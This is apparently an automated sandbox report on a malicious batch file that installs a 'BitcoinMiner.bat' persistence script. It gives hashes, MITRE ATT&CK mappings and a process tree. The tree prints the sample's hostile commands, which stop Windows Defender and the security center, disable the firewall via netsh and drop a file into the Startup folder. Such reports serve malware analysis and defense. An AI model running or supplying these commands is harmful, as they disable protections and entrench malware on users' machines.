fc94130b45112bdf7fe64713eb807f4958cdcdb758c25605ad9318cd5a8e17ae

Analysis

max time kernel
279s
max time network
200s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
04/02/2024, 11:58

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General

Target

L0Lz.bat
Size

6KB
MD5

74f8a282848b8a26ceafe1f438e358e0
SHA1

007b350c49b71b47dfc8dff003980d5f8da32b3a
SHA256

fc94130b45112bdf7fe64713eb807f4958cdcdb758c25605ad9318cd5a8e17ae
SHA512

3f73c734432b7999116452e673d734aa3f5fe9005efa7285c76d28a98b4c5d2620e772f421e030401ad223abbb07c6d0e79b91aa97b7464cb21e3dc0b49c5a81
SSDEEP

192:tlYUT1jLPD5mZkRr3TfLQ4/zus8joPRJRqU1jXEmo:tlY85XW

Score

8^/10

evasion

Malware Config

Signatures

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4640	netsh.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BitcoinMiner.bat	xcopy.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BitcoinMiner.bat	xcopy.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2744	taskkill.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2744	taskkill.exe
Token: SeDebugPrivilege	3616	whoami.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 4780 wrote to memory of 1996	4780	cmd.exe	86
PID 4780 wrote to memory of 1996	4780	cmd.exe	86
PID 1996 wrote to memory of 2072	1996	net.exe	87
PID 1996 wrote to memory of 2072	1996	net.exe	87
PID 4780 wrote to memory of 2920	4780	cmd.exe	88
PID 4780 wrote to memory of 2920	4780	cmd.exe	88
PID 2920 wrote to memory of 4664	2920	net.exe	89
PID 2920 wrote to memory of 4664	2920	net.exe	89
PID 4780 wrote to memory of 984	4780	cmd.exe	91
PID 4780 wrote to memory of 984	4780	cmd.exe	91
PID 984 wrote to memory of 1136	984	net.exe	90
PID 984 wrote to memory of 1136	984	net.exe	90
PID 4780 wrote to memory of 2744	4780	cmd.exe	92
PID 4780 wrote to memory of 2744	4780	cmd.exe	92
PID 4780 wrote to memory of 5008	4780	cmd.exe	94
PID 4780 wrote to memory of 5008	4780	cmd.exe	94
PID 5008 wrote to memory of 388	5008	net.exe	95
PID 5008 wrote to memory of 388	5008	net.exe	95
PID 4780 wrote to memory of 4020	4780	cmd.exe	96
PID 4780 wrote to memory of 4020	4780	cmd.exe	96
PID 4020 wrote to memory of 2064	4020	net.exe	97
PID 4020 wrote to memory of 2064	4020	net.exe	97
PID 4780 wrote to memory of 4640	4780	cmd.exe	98
PID 4780 wrote to memory of 4640	4780	cmd.exe	98
PID 4780 wrote to memory of 1464	4780	cmd.exe	100
PID 4780 wrote to memory of 1464	4780	cmd.exe	100
PID 1464 wrote to memory of 4288	1464	net.exe	99
PID 1464 wrote to memory of 4288	1464	net.exe	99
PID 4780 wrote to memory of 4088	4780	cmd.exe	101
PID 4780 wrote to memory of 4088	4780	cmd.exe	101
PID 4780 wrote to memory of 848	4780	cmd.exe	102
PID 4780 wrote to memory of 848	4780	cmd.exe	102
PID 4780 wrote to memory of 4688	4780	cmd.exe	103
PID 4780 wrote to memory of 4688	4780	cmd.exe	103
PID 4780 wrote to memory of 4800	4780	cmd.exe	104
PID 4780 wrote to memory of 4800	4780	cmd.exe	104
PID 4780 wrote to memory of 4340	4780	cmd.exe	109
PID 4780 wrote to memory of 4340	4780	cmd.exe	109
PID 4780 wrote to memory of 4984	4780	cmd.exe	112
PID 4780 wrote to memory of 4984	4780	cmd.exe	112
PID 4780 wrote to memory of 2320	4780	cmd.exe	113
PID 4780 wrote to memory of 2320	4780	cmd.exe	113
PID 4780 wrote to memory of 4168	4780	cmd.exe	114
PID 4780 wrote to memory of 4168	4780	cmd.exe	114
PID 4780 wrote to memory of 2276	4780	cmd.exe	115
PID 4780 wrote to memory of 2276	4780	cmd.exe	115
PID 1744 wrote to memory of 3616	1744	cmd.exe	126
PID 1744 wrote to memory of 3616	1744	cmd.exe	126

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\L0Lz.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4780
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1996
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:2072
- C:\Windows\system32\net.exe
  net stop "SDRSVC"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2920
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SDRSVC"
    3⤵
    PID:4664
- C:\Windows\system32\net.exe
  net stop "WinDefend"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:984
- C:\Windows\system32\taskkill.exe
  taskkill /f /t /im "MSASCui.exe"
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2744
- C:\Windows\system32\net.exe
  net stop "security center"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5008
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "security center"
    3⤵
    PID:388
- C:\Windows\system32\net.exe
  net stop sharedaccess
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4020
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop sharedaccess
    3⤵
    PID:2064
- C:\Windows\system32\netsh.exe
  netsh firewall set opmode mode-disable
  2⤵
  - Modifies Windows Firewall
  PID:4640
- C:\Windows\system32\net.exe
  net stop "wuauserv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo tasklist "
  2⤵
  PID:4088
- C:\Windows\system32\find.exe
  find /I "L0Lz"
  2⤵
  PID:848
- C:\Windows\system32\xcopy.exe
  XCOPY "BitcoinMiner.bat" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
  2⤵
  - Drops startup file
  PID:4688
- C:\Windows\system32\xcopy.exe
  XCOPY "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BitcoinMiner.bat"
  2⤵
  PID:4800
- C:\Windows\system32\xcopy.exe
  XCOPY "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BitcoinMiner.bat"
  2⤵
  PID:4340
- C:\Windows\system32\xcopy.exe
  XCOPY "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BitcoinMiner.bat"
  2⤵
  PID:4984
- C:\Windows\system32\xcopy.exe
  XCOPY "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BitcoinMiner.bat"
  2⤵
  PID:2320
- C:\Windows\system32\xcopy.exe
  XCOPY "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BitcoinMiner.bat"
  2⤵
  PID:4168
- C:\Windows\system32\xcopy.exe
  XCOPY "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BitcoinMiner.bat"
  2⤵
  PID:2276

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "WinDefend"
1⤵
PID:1136

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "wuauserv"
1⤵
PID:4288

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3520

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1744
- C:\Windows\system32\whoami.exe
  whoami
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3616

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\BitcoinMiner.bat

Filesize
269B

MD5
f971f4ae767fafa564b3f9266027599a

SHA1
df04f7017164d35943c959a057a8f24994724ba6

SHA256
a45d90c80db74841afc1658c8db4566288ff21f76f89f382cd3dc675fd783f2c

SHA512
a459640d96a1abb5ee347171db77801c6e10fde2b2164288c3908c7cc5c472ed9e779993a5761c82fdc946867f1525993e75eee7112c211d1283a97d043f9bee

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads